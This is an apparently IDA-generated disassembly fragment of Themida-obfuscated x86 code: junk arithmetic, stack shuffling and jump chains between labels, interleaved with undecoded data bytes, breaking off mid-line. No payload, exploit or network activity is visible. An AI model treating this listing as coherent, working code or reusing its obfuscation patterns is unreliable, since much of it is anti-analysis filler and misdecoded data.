loc_549FB6 ; --------------------------------------------------------------------------- db 80h dd 0E2C0B3CAh, 0E5EA8007h, 525AD028h, 0B151F2B6h, 0E9D9F61Dh dd 0FFFF6BA2h ; --------------------------------------------------------------------------- loc_54DEEC: ; CODE XREF: Themida_:0054CCFEj mov edi, 10174CAFh jmp loc_547C63 ; --------------------------------------------------------------------------- dw 489h dd 0E9E08924h, 0FFFF75CDh, 14D3C781h, 0BD5514A9h, 0A135D95h dd 814DDDF7h, 5C7A9AEDh, 77BE562Ch, 0E9176B4Ch, 1DFEh ; --------------------------------------------------------------------------- loc_54DF20: ; CODE XREF: Themida_:0054B01Fj sub ebp, 410F17FAh add ebp, 0B90FB1E6h jmp loc_54F514 ; --------------------------------------------------------------------------- loc_54DF31: ; CODE XREF: Themida_:0054D95Bj pop edi add edi, 4 add edi, 4 push 4235h jmp loc_549C55 ; --------------------------------------------------------------------------- db 68h, 4Ch, 6Ch dd 4890000h, 24348B24h, 3C8B5457h, 0E644E924h, 0C301FFFFh dd 45E2EB81h, 8F398Fh, 0FF66A0E9h, 5AD101FFh, 5C240C87h dd 76256853h, 0F1E90000h, 89FFFFEBh, 15E95DEFh, 81FFFF98h dd 4ECh, 24348900h, 0FF7D0EE9h, 0A6EF81FFh, 100EA0Ah, 0A6C781DFh dd 5B00EA0Ah, 0FF9D8AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DFA5: ; CODE XREF: Themida_:00545F4Ej mov [esp], edx mov eax, [esp] jmp loc_54A8A0 ; --------------------------------------------------------------------------- dd 24048B66h, 8904EC83h, 0E2892414h, 8CBE5651h, 89554A4Bh dd 0C1815EF1h, 5EF2259Fh, 1BD0E9h db 0 ; --------------------------------------------------------------------------- loc_54DFD1: ; CODE XREF: Themida_:0054A093j mov esi, esp push edi jmp loc_544CF6 ; --------------------------------------------------------------------------- db 89h, 0E7h, 52h dd 4BAh, 5AD70100h, 0FFC7DDE9h, 6FBD55FFh, 0E94FCB5Ch dd 1C7Ch, 9C241CF6h, 0FF660CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DFFD: ; CODE XREF: Themida_:0054FED5j pop ebp and eax, ecx push dword ptr [esp] pop ecx add esp, 4 or eax, eax jmp loc_545AB1 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 924248Bh, 51840FC0h, 0FFFFFFFFh, 16681C77h, 89000055h dd 6FB9240Ch, 0E94FCB5Ch, 0FFFFB181h, 0D00048B2h, 6993E95Ah dd 8B66FFFFh, 0E950240Ch, 0FFFFF65Ch, 4BFh, 25C2E900h dd 0C4830000h, 0B60F6604h, 2A686600h, 489661Bh, 0B7D0E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E066: ; CODE XREF: Themida_:00550188j add esi, 4 add esi, 4 xchg esi, [esp] pop esp and ebx, esi mov esi, [esp] push edi mov edi, esp add edi, 4 jmp loc_545D67 ; --------------------------------------------------------------------------- db 55h, 5Fh, 5Dh dd 335FF801h, 4312404h, 24043324h, 2424D35Ch, 0FF6568E9h dd 66DC08FFh, 85F4805Bh, 34FFE530h, 89535824h, 4C381E3h dd 83000000h, 28E904C3h, 51000007h, 0C828FDB1h, 0C934E959h dd 0E689FFFFh, 4C681h, 0C6830000h, 24348704h, 24048F5Ch dd 0E924248Bh, 12E9h, 4B850h, 0C1810000h, 60184F36h, 0E981C101h dd 60184F36h, 0FF72ECE9h, 0EF81FFh, 1133825h, 0C3835FFBh dd 241C8704h, 0FFD9A6E9h, 81E789FFh, 4C7h, 1AC96800h, 0C890000h dd 0AC80E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E126: ; CODE XREF: Themida_:00550ABFj shl eax, 8 jmp loc_54BC51 ; --------------------------------------------------------------------------- dw 0C6FEh dd 0CDE9CEFEh db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E137: ; CODE XREF: Themida_:00545C07j xchg ebp, [esp] pop esp push 2C45h jmp loc_544CAC ; --------------------------------------------------------------------------- db 54h, 5Ah, 81h dd 4C2h, 4C28100h, 87000000h, 0C15C2414h, 0C8E908E8h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E15F: ; CODE XREF: Themida_:00548FECj mov cl, 0A3h sub cl, al pop eax sub esp, 4 jmp loc_5491AD ; --------------------------------------------------------------------------- db 1 dd 8DE95EF5h, 66FFFF74h, 51240C8Bh, 0C1815954h, 4, 4E981h dd 0FF510000h, 59042474h, 5C24048Fh, 0E9243C89h, 0FFFF8127h dd 86B2525Ah, 0FF99E6E9h, 8B5D56FFh, 0C4812434h, 4, 56E88950h dd 0F189C689h, 8324348Bh, 5D5804C4h, 6203A5F3h, 64D4E938h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E1CA: ; CODE XREF: Themida_:0054B62Dj mov esi, 5A8934CFh push ebp mov ebp, 21951156h neg ebp add ebp, 0C9621EFh or ebp, 49985DBDh add ebp, 39BF2806h xor ebp, 6ECBF2C9h or esi, ebp pop ebp shr esi, 2 sub esi, 0C970F06h shr esi, 5 jmp loc_54C5F2 ; --------------------------------------------------------------------------- db 68h dd 24C8h, 83241489h, 348904ECh, 78F16824h, 0D0E948B6h db 84h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E21B: ; CODE XREF: Themida_:0054CDA5j shr eax, 0Bh jmp loc_546AF0 ; --------------------------------------------------------------------------- db 59h dd 8704C283h, 248B2414h, 15C56824h, 1C890000h, 57B05024h dd 8055B151h, 0C1FEC1C1h, 887AF180h, 0C70059CFh, 8A19E958h dd 3C87FFFFh, 0E0E95C24h, 66FFFF78h, 68240C8Bh, 5EC2h dd 0E9240C89h, 0FFFFACADh ; --------------------------------------------------------------------------- loc_54E268: ; CODE XREF: Themida_:0054783Fj mov ecx, 32D413D8h jmp loc_548FD2 ; --------------------------------------------------------------------------- dw 0D801h dd 979CF2Dh, 50490575h, 505B5B62h, 42474FFh, 24048F58h dd 0FF7B21E9h, 243487FFh, 8C21E95Ch, 0E830FFFFh, 81240C8Bh dd 4C4h, 80E95300h, 54FFFF6Dh, 0FFEB0DE9h, 69E068FFh, 0C890000h dd 4EC8124h, 0E9000000h, 0FFFF6FBFh ; --------------------------------------------------------------------------- loc_54E2C0: ; CODE XREF: Themida_:0054BE57j add edi, ebx pop ebx jmp loc_548021 ; --------------------------------------------------------------------------- dd 875BDE29h, 248B2434h, 241C8924h, 8904EC83h, 0BABA2414h dd 8966B724h, 0FAA5E9D3h, 0CA30FFFFh, 2EAC059h, 0C02ECA80h dd 0CAFE07EAh, 0E929EA80h, 0FFFF96A2h, 68240C8Bh, 6477h dd 89243C89h, 4C781E7h, 0E9000000h, 0FFFFBF85h, 81240C8Bh dd 4C4h, 66662C00h, 8DB65251h, 6642CE80h, 2454F652h, 525A6601h dd 12454F6h, 53C6FE5Ah, 0FFE03CE9h, 0E9CE28FFh, 0FFFF88F1h dd 73B6C681h, 45E90415h db 64h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E34F: ; CODE XREF: Themida_:0054EA7Fj jz loc_5474E7 push eax sub esp, 4 mov [esp], ebp push ecx push 26846C8Fh push dword ptr [esp] pop ecx push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp dec ecx neg ecx and ecx, 5C9F7533h xor ecx, 51562E8Bh push edi mov edi, ecx mov ebp, edi jmp loc_54793B ; --------------------------------------------------------------------------- loc_54E395: ; CODE XREF: Themida_:00546699j add ebx, 335338AFh mov edi, [esp] add esp, 4 and ecx, ebx mov ebx, [esp] add esp, 4 shr ecx, 0Bh push 329Ch mov [esp], esi push ecx jmp loc_54F8FE ; --------------------------------------------------------------------------- db 68h, 46h, 2Ah dd 1C890000h, 6EA2E924h, 7EBEFFFFh, 31616172h, 0E68159CEh dd 44BF2C91h, 2E16C681h, 0EEC17CBDh, 50BA5203h, 29182D0Ah dd 0DDE2E9D6h, 0F821FFFFh, 52243C8Bh, 0FFFD4CE9h, 242C8BFFh dd 0E904C483h, 0D9Fh, 66E1F65Ch, 0E9CCB60Fh, 0FFFFC23Dh ; --------------------------------------------------------------------------- loc_54E410: ; CODE XREF: Themida_:0054F5E3j pop ebp pop dword ptr [esp] mov esp, [esp] pop dword ptr [esp] mov esp, [esp] imul cx push small 3ECBh mov [esp], dx push ax pushf jmp loc_54B18D ; --------------------------------------------------------------------------- dd 6887048Dh, 488Ah, 0E9240489h, 0FFFFCC6Ch ; --------------------------------------------------------------------------- loc_54E440: ; CODE XREF: Themida_:0054520Ej shl ebx, 6 jmp loc_54BE51 ; --------------------------------------------------------------------------- loc_54E448: ; CODE XREF: Themida_:00548D6Dj mov [esp], ebp push 12C363CEh pop ebp shl ebp, 2 neg ebp push ebx mov ebx, 1 jmp loc_54945B ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 4C481h, 0BB530000h, 2A19051Ch, 0FF76A6E9h, 4BB53FFh dd 29000000h, 241C8BD9h, 8704C483h, 0F4E9240Ch, 66FFFFE9h dd 6824048Bh, 3E9Ah, 89241C89h, 7CC3E9E3h, 0E9ACFFFFh dd 266Ah, 8704C683h, 585C2434h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_54C0AA ; --------------------------------------------------------------------------- dd 42E932FFh, 89FFFF61h, 5F54243Ch, 2FAE956h, 0E95D0000h dd 0FFFFC510h, 88BE6656h, 0BF6662h, 0F7296657h, 0FA29665Eh dd 243C8B66h, 2C481h, 5660000h, 2966078Ch, 665566D0h, 66078CBDh dd 5D66E829h, 0AE08E95Ah, 5456FFFFh, 0BAD3E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E512: ; CODE XREF: Themida_:0054BFC0j add ecx, 4 add ecx, 4 jmp loc_54FE7A ; --------------------------------------------------------------------------- dd 9FB2E95Ah, 0AD05FFFFh, 5D376056h, 0FFA383E9h, 0E0ED81FFh dd 8326D25Ch, 348904ECh, 0DB73BE24h, 0ED81D372h, 21C063C4h dd 0C581F501h, 21C063C4h, 0E95E555Eh, 0FFFFBE9Eh, 0C1369835h dd 8FB0E917h, 8B66FFFFh, 89522404h, 0C2ACE9E2h, 34FFFFFFh dd 240C8B24h, 4C481h, 0D8680000h, 89000066h, 0E389241Ch dd 72E95056h db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E58B: ; CODE XREF: Themida_:00549563j push dword ptr [esp] push dword ptr [esp] pop eax sub esp, 4 mov [esp], esi push esp pop esi add esi, 4 push 565Eh mov [esp], edi mov edi, 4 jmp loc_54C7F9 ; --------------------------------------------------------------------------- loc_54E5B5: ; CODE XREF: Themida_:00546C30j add esi, 304071C1h add esi, ebp push ebp jmp loc_54D1C3 ; --------------------------------------------------------------------------- db 0FFh dd 55582434h, 699E9h, 4C68100h, 68000000h, 2998h, 0FF243489h dd 5E042474h, 5C24048Fh, 4E13C381h, 0C3010D43h, 4E13EB81h dd 0EC830D43h, 242C8904h, 0F70EC768h, 0BE95D6Fh, 43FFFFC9h dd 0C485F381h, 0D901948Ch, 240C875Bh, 0F24248Bh, 0CF68C8B6h dd 0E900007Ah, 0FFFFCBD8h ; --------------------------------------------------------------------------- loc_54E620: ; CODE XREF: Themida_:005451A3j or edi, 24134E30h not edi sub edi, 64E97417h push ebx mov ebx, 50AC004Ch add edi, ebx pop ebx shl edi, 7 xor edi, 553B05E0h sub ebp, 77D2366Bh sub ebp, edi add ebp, 77D2366Bh pop edi jmp loc_546C13 ; --------------------------------------------------------------------------- dd 5585450h, 4, 0FDAE9h, 8BD02900h, 0C4812414h, 4, 5774D12Dh dd 5D8012Ah, 2A5774D1h, 0FFC92FE9h, 4EDC0FFh, 0E90DB450h dd 0FFFFBE34h ; --------------------------------------------------------------------------- loc_54E688: ; CODE XREF: Themida_:0054F246j mov [esp], esi push ebx pop esi sub esp, 4 mov [esp], ebx push esi xor dword ptr [esp], 367D381Dh mov ebx, [esp] jmp loc_54EAA3 ; --------------------------------------------------------------------------- db 66h dd 5EE9028Fh, 0C0FFFF5Fh, 9A3404E0h, 2C58C288h, 2C7304F7h dd 4D00085h, 66732C85h, 2CF7B652h, 4F0000Eh, 0FF5A660Eh dd 0E95A2434h, 0FFFF7374h, 8247C01h, 0FFD59EE9h, 43082DFFh dd 0E92D48E4h, 0D34E169h, 5E26256h, 0FF8360E9h, 0E95059FFh dd 0FFFFA70Ah, 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFF5F01h dd 42474FFh, 8324148Bh, 48F04C4h, 0EEE95C24h, 89FFFF5Eh dd 5DBF243Ch, 0B95DF202h, 21BB7EBDh, 815FF931h, 3C683FC1h dd 592E2DC9h, 0C8293171h, 71592E05h, 240C8B31h, 81E28952h dd 4C2h, 5FF4E900h, 34FFFFFFh, 0EC835824h, 8FFAE904h, 0C281FFFFh dd 0A000A042h, 895AD589h, 0C1215DE8h, 8324048Bh, 0E9C104C4h dd 0FC00900h, 8E584h, 5D535500h, 5E08950h, 4, 42Dh, 24048700h dd 242C895Ch, 0FFA82AE9h, 24248BFFh, 8B2434FFh, 52E92414h dd 8BFFFF98h, 0C4812404h, 4, 685A5452h, 2A0Dh, 83243C89h dd 348904ECh, 5CF5BE24h, 0F1BF148Fh, 0E9148F5Ch, 0FFFFE76Fh dd 4EC81h, 2C890000h, 2BC06824h, 815D4400h, 5F55B0C5h dd 4AE9450Fh, 87FFFFFDh, 5C241Ch, 895359E8h, 51E957E3h dd 66FFFFF8h, 68240C8Bh, 4992h, 54242C89h, 6AAFE95Dh, 248BFFFFh dd 24042824h, 0E347E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E816: ; CODE XREF: Themida_:0054F900j add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_54CCFA ; --------------------------------------------------------------------------- db 87h dd 815E2404h, 0BBECFAEEh, 7DCAE9FFh, 0EC83FFFFh, 0AC76E904h dd 2C89FFFFh, 5756BD24h, 0EB8911D0h, 81242C8Bh, 4C4h, 8954BE00h dd 0E9501F57h, 0FFFFCF50h, 0C381E389h, 4, 0E904EB83h, 0FFFFEF52h ; --------------------------------------------------------------------------- loc_54E870: ; CODE XREF: Themida_:00549344j mov esi, edx pop edx sub esi, 1 add esi, 9582DD89h jmp loc_547EBC ; --------------------------------------------------------------------------- dd 0ACB9E9ADh, 0D800FFFFh, 0FF6EDCE9h, 27ECBFFFh, 0C7816BCEh dd 9431D818h, 3C8BFA01h, 64E95024h, 0F6FFFFE6h, 73CE80D6h dd 8087EE80h, 0F00042F6h, 9CEDE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E8BA: ; CODE XREF: Themida_:00545CE2j mov [ecx], bh pop ebx jmp loc_547B83 ; --------------------------------------------------------------------------- dw 429h dd 3EE99C24h db 5Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E8CB: ; CODE XREF: Themida_:005482BAj and eax, ecx mov ecx, [esp] push 927h jmp loc_54A090 ; --------------------------------------------------------------------------- dw 0F680h dd 7D97E9D3h, 0C680FFFFh, 5AF530F5h, 0FF81DBE9h, 405FFh dd 0EC830000h, 24348904h, 0FF7B2BE9h, 48B66FFh, 0E6895624h dd 8904EC83h, 0CDBD242Ch, 0F77DB81Ch, 8EDC1D5h, 81E68956h dd 4C6h, 4EE8100h, 0E9000000h, 0FFFFCCA9h, 295EF189h, 240C8BCEh dd 4C481h, 0EF810000h, 713273F1h, 0C781F729h, 713273F1h dd 0BEE9C35Eh, 81FFFF5Ch, 4C2h, 56E95100h, 0BFFFFFCAh dd 73C1104h, 3C8BFE29h, 0E3895324h, 4C381h, 0C3830000h dd 0CEB1E904h, 0EB29FFFFh, 512FC381h, 0E95D230Ch, 1D0Fh dd 284AB353h, 0C3005BD8h, 1344E9h, 0E5C15F00h, 0FBCD8108h dd 814B544Eh, 0A83FDAF5h, 0BEBF575Dh, 474D576Bh, 0FFC830E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E9A9: ; CODE XREF: Themida_:0054D5FEj shl ebp, 8 shr ebp, 5 neg ebp push edi mov edi, 48DE0994h shl edi, 3 or edi, 14215E04h jmp loc_548741 ; --------------------------------------------------------------------------- db 30h, 0EAh, 8Bh dd 0C481240Ch, 4, 0F6C9B151h, 0D2CE9D1h, 0BD550000h, 726644D7h dd 553C381h, 0A6E904C7h, 0BAFFFFA1h, 3B110545h, 0E95AD609h dd 0FFFFBA65h, 2081F780h, 6E95BFEh, 83FFFF93h, 3C8904ECh dd 4BF24h, 80E90000h, 66FFFFC6h, 53240C8Bh, 0C381E389h dd 4, 8704EB83h, 895C241Ch, 0E589242Ch, 4C581h, 0ED810000h dd 4, 0FFA84CE9h, 48B66FFh, 4EC8324h, 54240489h, 9BE95558h dd 0BEFFFFC2h, 5966532h, 0E908E6C1h, 0FFFFB2C6h, 67C7815Ah dd 5667506Ah, 0C35CB8BEh, 0E9F7215Eh, 1776h, 0BA52h, 29E90000h db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EA7B: ; CODE XREF: Themida_:00544854j shr edx, 1 cmp eax, edx jmp loc_54E34F ; --------------------------------------------------------------------------- dd 4BBh, 5BDA0100h, 5C241487h, 85E9C330h db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EA97: ; CODE XREF: Themida_:0054F32Aj add ecx, 4 push ebx jmp loc_545D95 ; --------------------------------------------------------------------------- loc_54EAA3: ; CODE XREF: Themida_:0054E69Ej add esp, 4 push edi mov edi, 367D381Dh xor ebx, edi pop edi mov eax, ebx pop ebx pop esi push ecx push ebp jmp loc_546CFF ; --------------------------------------------------------------------------- dw 0EE81h dd 0C38CBFD8h, 0DFE9F329h db 8Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_54AAF9 ; --------------------------------------------------------------------------- db 31h, 0EBh, 87h dd 0E9DBF7DDh, 706h, 72D8E958h, 6851FFFFh, 4, 0A68BE959h dd 0E95DFFFFh, 0FFFF5C18h, 0C781E789h, 4, 4EF81h, 3C870000h dd 24248B24h, 0FFD3A3E9h, 0EAE94FFFh, 5BFFFFE0h, 0FFAD7DE9h dd 0AAE95AFFh, 8BFFFFFAh, 6857240Ch, 7806h, 83242489h dd 5F042404h, 1EAF68h, 241C8900h, 2964B850h, 0E9563D4Ah dd 0FFFFFF07h, 4C3815Fh, 87000000h, 8F5C241Ch, 0E95C2404h dd 4ADh, 0E924048Bh, 0FFFF6A6Dh, 54242C89h, 4C5815Dh, 81000000h dd 4EDh, 0BFE95500h, 5EFFFFF0h, 8BC50166h, 0C4832404h dd 0C023E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EB8A: ; CODE XREF: Themida_:00548963j push esi jmp loc_54A94D ; --------------------------------------------------------------------------- dd 0FF56515Eh, 0AE92434h, 31FFFFACh, 0E904247Ch, 1496h dd 592434FFh, 4EC81h, 3C890000h, 4EC8124h, 89000000h, 4812424h dd 424h, 0C7815F00h, 4, 0E904EF83h, 0FFFFF67Eh ; --------------------------------------------------------------------------- loc_54EBD0: ; CODE XREF: Themida_:00549575j pop esi add esi, 4 sub esi, 4 jmp loc_54F23A ; --------------------------------------------------------------------------- dw 0C681h dd 4, 0FFE840E9h, 57E589FFh, 4BFh, 9DC58100h, 1040F50h dd 701EE9FDh, 0FF64FFFFh, 0A591E932h, 48BFFFFh, 4C48324h dd 0E9E68956h, 0FFFFE783h, 0E9240C8Bh, 1FA0h, 2474FF66h dd 3C8B6602h, 2C48124h, 66000000h, 6624048Fh, 665B6968h dd 66243C89h, 662414F7h, 3C31665Fh, 3C336624h, 0A6FBE924h dd 0E089FFFFh, 405h, 4E88300h, 5C240487h, 54240489h, 5E16E958h dd 0E589FFFFh, 0E864E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EC6E: ; CODE XREF: Themida_:0054A6EEj and eax, ebx push dword ptr [esp] pop ebx add esp, 4 or edx, eax shl edx, 1 push dword ptr [edi+24h] sub esp, 4 mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] push esi push esp pop esi jmp loc_5503AB ; --------------------------------------------------------------------------- loc_54EC96: ; CODE XREF: Themida_:005457D2j sub esi, 4 xor esi, [esp] xor [esp], esi jmp loc_55056C ; --------------------------------------------------------------------------- loc_54ECA7: ; CODE XREF: Themida_:0054756Fj push ebx mov ebx, 0 add ebx, edx add [ebx], ecx pop ebx pop edx mov ecx, [esp] push ecx push 7224h mov [esp], esp add dword ptr [esp], 4 pop ecx add ecx, 4 push esi mov esi, 4 add ecx, esi mov esi, [esp] jmp loc_54A997 ; --------------------------------------------------------------------------- dw 6857h dd 3A871BA9h, 0CBF7815Fh, 89361F43h, 0F2815FFAh, 28EB1E9Bh dd 0F707E2C1h, 0A9F281DAh, 31B73AFBh, 0FB895AD7h, 81243C8Bh dd 4C4h, 0FEEB8100h, 105F934h, 0FEC381C3h, 8805F934h, 2434FF13h dd 0C587E95Bh, 0F65CFFFFh, 0B60F66F9h, 0BA6866CCh, 0C89664Ah dd 0B60F6624h, 1BE6E9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54ED3A: ; CODE XREF: Themida_:00549178j mov ebp, 1FED5550h add edx, ebp pop ebp neg edx not edx jmp loc_548526 ; --------------------------------------------------------------------------- db 0F7h dd 79E1E9D2h, 0EC81FFFFh, 4, 0FF6D99E9h, 31FA2DFFh, 0BF053788h dd 683717ECh, 3345h, 0E9240489h, 0FFFFB5C1h, 1EF9ED81h dd 0CD016A98h, 1EF9C581h, 81596A98h, 4ECh, 242C8900h, 0AAA9E95Bh dd 0B951FFFFh, 662A302Eh, 159C889h, 2434FFC2h, 0E44CE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EDA6: ; CODE XREF: Themida_:00545D9Aj sub ecx, ebx jmp loc_54A614 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 0E3895324h, 4C381h, 10E90000h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EDBF: ; CODE XREF: Themida_:0054B622j push edi mov edi, 3176260Bh mov esi, edi pop edi or edi, esi pop esi jmp loc_5494E0 ; --------------------------------------------------------------------------- dd 0E924248Bh, 0FFFF5A63h, 0C8BC830h, 56716824h, 0C8E90000h dd 5FFFF64h, 4, 5004C083h, 42474FFh, 8124048Bh, 4C4h, 24048F00h dd 0FF6173E9h, 0C8966FFh, 4EC8324h, 0E9240489h, 0FFFFB8DFh dd 0E0408405h, 58C23125h, 0E95AD129h, 0FFFF9593h, 8104C483h dd 0F52AB7C2h, 0ABC2817Bh, 566F9677h, 9C3CDFBEh, 5EF2296Bh dd 0E9E9C229h, 0B6FFFF7Bh, 66F3288Fh, 80C3285Ah, 0C3808FC3h dd 47C380DAh, 0FFC0B60Fh, 34FF8734h, 6BC1E924h, 4BBFFFFh dd 1000000h, 7A5CE9D8h, 8864FFFFh, 5793E902h, 0EC83FFFFh dd 24048904h, 0BB243481h, 58629C50h, 291C6850h, 24890000h dd 24048324h, 0BF575804h, 3DFF14A9h, 8105EFC1h, 10075FC7h dd 5FF801FEh, 0FF7110E9h, 2DE95AFFh, 33FFFFB8h, 1C31241Ch dd 241C3324h, 8924248Bh, 46E92404h, 80FFFF57h, 0B6526AC3h dd 0CECE80C0h, 8004E6C0h, 68669ACEh, 8966007Fh, 0FFB7241Ch dd 5B66FE00h, 28D5F680h, 0EBC05AF3h, 0E9516605h, 0FFFF6DD5h dd 4AB0F66h, 0EE99C24h, 81FFFF57h, 4D005FE9h, 6FB3E951h dd 48BFFFFh, 4C48324h, 0F914F381h, 685320C9h, 15925D90h dd 7EBC15Bh, 0B6BF381h, 0D90172E8h, 52D9015Bh, 0C32FD0BAh dd 8BD12972h, 0C4812414h, 4, 81241C8Bh, 4C4h, 2C18300h dd 0FFCEEBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54EF49: ; CODE XREF: Themida_:0054BEEAj movsx ecx, ax push 6D6Ch mov [esp], ecx jmp loc_544609 ; --------------------------------------------------------------------------- db 45h, 81h, 0EDh dd 0D67FFBA1h, 815DEF29h, 0B32D09EFh, 240C8B14h, 0FF790AE9h dd 835B54FFh, 12E904ECh, 89FFFF91h, 952AE9EAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EF82: ; CODE XREF: Themida_:00545FD8j pop esp mov [esp], esp add dword ptr [esp], 4 pop edi push ebx jmp loc_545203 ; --------------------------------------------------------------------------- db 0E9h, 73h, 56h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EF96: ; CODE XREF: Themida_:0054A218j pop edx add al, ch jmp loc_550043 ; --------------------------------------------------------------------------- dw 14F7h dd 54E95D24h db 0C5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EFA7: ; CODE XREF: Themida_:0054F4DFj push small 3D7Eh mov [esp], ax jmp loc_544609 ; --------------------------------------------------------------------------- dd 1104B850h, 0C601073Ch, 0E9C60158h, 0FFFF64CDh, 0D1B45066h dd 5866E300h, 0A3ACE952h, 0E95BFFFFh, 0FFFFA1EEh, 5C24048Fh dd 4EC81h, 37E90000h, 66FFFFC1h, 6824148Bh, 187Fh, 54240489h dd 0F8F3E958h, 1487FFFFh, 0B9515C24h, 2B1430C8h, 0FF8E94E9h dd 148966FFh, 9C506624h, 0FF55F4E9h, 4EDC1FFh, 1E1BBB53h dd 0DD092D24h, 4E5C15Bh, 0C227F581h, 0EB01CBBBh db 8Bh, 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_547214 ; --------------------------------------------------------------------------- dd 0FF55C4E9h, 2474FFFFh, 242C8B04h, 4C481h, 48F0000h dd 24248B24h, 8701C083h, 89572447h, 624D68DFh, 1FE90000h dd 83FFFF98h, 0EC8004C4h, 8BE58852h, 54522404h, 0FFF4A3E9h dd 0BDC981FFh, 5007E312h, 8A6CF0B8h, 58C13169h, 2DACBA52h dd 0EAC17AE5h, 0A516E908h, 0F289FFFFh, 0EA814A5Eh, 6BEE29FAh dd 2EC2EA81h, 0EA810B9Eh, 65E619B6h, 8108E2C1h, 0C55901F2h dd 5AD18930h, 1653A505h, 2DC80134h, 341653A5h, 39DE3559h dd 0E8C10BFEh, 36E90D06h, 0E5054234h, 81E91350h, 0ED1465C3h dd 81C30155h, 0ED1465EBh, 6EF9E955h, 0E901FFFFh, 1AF8E9h dd 81D12900h, 0D9344FE9h, 0CE295A72h, 0D37CE959h, 0FF56FFFFh dd 8B042474h, 0C4832434h, 24048F04h, 240C895Ch, 1E10C7B9h dd 0FFC80163h, 81592434h, 4C4h, 3AB22D00h, 0D8016602h dd 3AB2BA52h, 0D0016602h, 8124148Bh, 4C4h, 0C7BE5600h dd 29631E10h, 3B685EF0h, 8900007Bh, 0C1BD242Ch, 4D2F4763h dd 874EF587h, 4EC83F5h, 52240C89h, 0FFC502E9h, 0D830ACFFh dd 817AB753h, 4ECh, 7C6E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F17A: ; CODE XREF: Themida_:0054DA5Aj mov ebp, ebx sub esp, 4 mov [esp], ebp jmp loc_54B467 ; --------------------------------------------------------------------------- loc_54F187: ; CODE XREF: Themida_:0054BE4Cj pop dword ptr [esp] pop esp pop dword ptr [esp] pop esp push 196Eh jmp loc_549F4A ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 6EE95724h, 68FFFFEFh, 3311h, 0FF243C89h, 0E9042474h dd 187Eh ; --------------------------------------------------------------------------- loc_54F1B4: ; CODE XREF: Themida_:00548C73j inc ebp not ebp not ebp add ebp, 0DDA482B8h add esi, ebp jmp loc_54783D ; --------------------------------------------------------------------------- dw 0F781h dd 28F79E3h, 405BF781h, 0F8014068h, 2DC8295Fh, 5D5025C7h dd 7239D205h, 0C84DE950h, 0DD87FFFFh, 17FE6853h, 2C890000h dd 0E9DAE924h, 0DD30FFFFh, 64B4505Bh, 0FFBA88E9h, 241C8BFFh dd 4C481h, 0BB530000h, 12573A72h, 0E9D3F74Bh, 0FFFFA80Dh dd 0BF94F281h, 0D0013B63h, 0FF5CD4E9h, 1C77FFFFh, 1858669Dh dd 0E99C2404h, 0FFFF53D5h, 57F5E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F23A: ; CODE XREF: Themida_:0054EBDDj push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_54E688 ; --------------------------------------------------------------------------- db 1 dd 5D04246Ch, 4BA5258h, 1000000h, 24148BD0h, 504C483h dd 2, 8B240487h, 83E92424h, 89FFFF7Fh, 0C28159CBh, 0BDB348Eh dd 0FFEC06E9h, 193668FFh, 348B582Bh, 4C48124h, 4E000000h dd 561AC681h, 77E9DB5Dh, 81FFFFCEh, 0BB7BF5EDh, 0F5ED8159h dd 8B13F714h, 11E9241Ch, 0B9FFFF9Eh, 4D6F16D5h, 159CF01h dd 0D5EF81D7h, 5A4D6F16h, 31243C33h, 3C33243Ch, 24248B24h dd 2404A30Fh, 5337E99Ch, 0FE01FFFFh, 2434875Fh, 8324248Bh dd 0FF5102C1h, 59042474h, 5C24048Fh, 9C2404D2h, 0FF5318E9h dd 66EF00FFh, 5BFE3059h, 0FFC417E9h, 5B5BBDFFh, 3CE95569h dd 1FFFF60h, 0BCFEE9D8h, 481FFFFh, 424h, 24048F00h, 4BE56h dd 74010000h, 0B0E90424h db 67h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F327: ; CODE XREF: Themida_:0054A330j push ecx mov ecx, esp jmp loc_54EA97 ; --------------------------------------------------------------------------- align 10h dd 0D04EE9F0h, 74FFFFFFh, 8F5B0424h, 